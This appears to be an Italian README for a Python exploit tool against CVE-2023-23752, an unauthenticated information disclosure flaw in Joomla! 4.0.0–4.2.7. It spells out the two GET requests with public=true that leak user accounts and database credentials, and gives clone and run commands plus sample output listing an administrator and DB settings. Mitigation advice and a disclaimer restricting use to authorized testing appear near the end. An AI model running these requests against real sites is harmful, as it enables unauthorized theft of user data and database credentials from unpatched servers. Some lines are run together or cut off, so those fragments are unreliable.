
Porting Python dell'exploit CVE-2023-23752 — Joomla! < 4.2.8 divulgazione di informazioni senza autenticazione (elenco utenti + perdita di credenziali DB)
⚠️ Dichiarazione di non responsabilità: Questo strumento è destinato esclusivamente a scopi educativi e a test di penetrazione autorizzati. Usalo solo contro sistemi di tua proprietà o per i quali hai un'esplicita autorizzazione scritta. L'uso non autorizzato è illegale.
Joomla! è uno dei sistemi di gestione dei contenuti (CMS) open-source più utilizzati. Le versioni 4.0.0 - 4.2.7 espongono due endpoint API senza un adeguato controllo degli accessi, consentendo a un attaccante non autenticato di recuperare informazioni sensibili: gli account utente registrati e, in configurazioni vulnerabili, le credenziali del database del sito.
La vulnerabilità è stata scoperta da Zewei Zhang di NSFOCUS TIANJI Lab e segnalata al progetto Joomla!, che ha rilasciato una patch nella versione 4.2.8. Le è stato assegnato CVE-2023-23752.
Questo repository contiene una versione Python dell'exploit Ruby originale rilasciato da ACCEIS.
Gli endpoint webservice dell'API REST di Joomla! dovrebbero applicare controlli di autenticazione e di accesso prima di restituire i dati. Nelle versioni interessate, due endpoint non riescono a eseguire correttamente questo controllo quando vengono chiamati con il parametro di query public=true, trattando la richiesta come se provenisse da un livello di accesso "pubblico" anonimo che dovrebbe esporre solo dati non sensibili — ma invece divulga informazioni interne.
GET /api/index.php/v1/users?public=true
GET /api/index.php/v1/config/application?public=true
Lo script automatizza i seguenti passaggi:
1. Send GET request to /api/index.php/v1/users?public=true
2. Parse the JSON:API response and extract user records
3. Send GET request to /api/index.php/v1/config/application?public=true
4. Parse the JSON:API response and extract site + database configuration
5. Print both datasets to the console
Non è richiesta alcuna autenticazione, sessione o token CSRF in nessun momento: l'intero attacco consiste in due richieste GET non autenticate.
requestspip install requests --break-system-packages
git clone https://github.com/BardLaudian/CVE-2023-23752.git
cd CVE-2023-23752
pip install requests --break-system-packages
usage: CVE-2023-23752.py [-h] url
positional arguments:
url Base URL of the target, e.g. http://dev.devvortex.htb
options:
-h, --help show this help message and exit
python3 CVE-2023-23752.py http://127.0.0.1:4242
python3 CVE-2023-23752.py http://dev.devvortex.htb
=== Users ===
[123] Administrator (admin) - [email protected] - ['Super Users']
=== Site info ===
Site name: My Site
Editor: tinymce
Captcha: 0
Access: 1
Debug status: False
=== Database info ===
DB type: mysqli
DB host: localhost
DB user: joomla_user
DB password: ********
DB name: joomla_db
DB prefix: sd8f2_
DB encryption: 0
/api/index.php/* a livello di web server o WAF se l'aggiornamento non è immediatamente possibile./api/index.php/v1/.| Field | Value |
|---|
| CVE | CVE-2023-23752 |
| Affected | Joomla! 4.0.0 – 4.2.7 |
| Type | Improper Access Control / Information Disclosure |
| Privileges | None (unauthenticated) |
| Impact | Disclosure of user accounts and DB credentials |
| Patch | Joomla! 4.2.8 (released 2023) |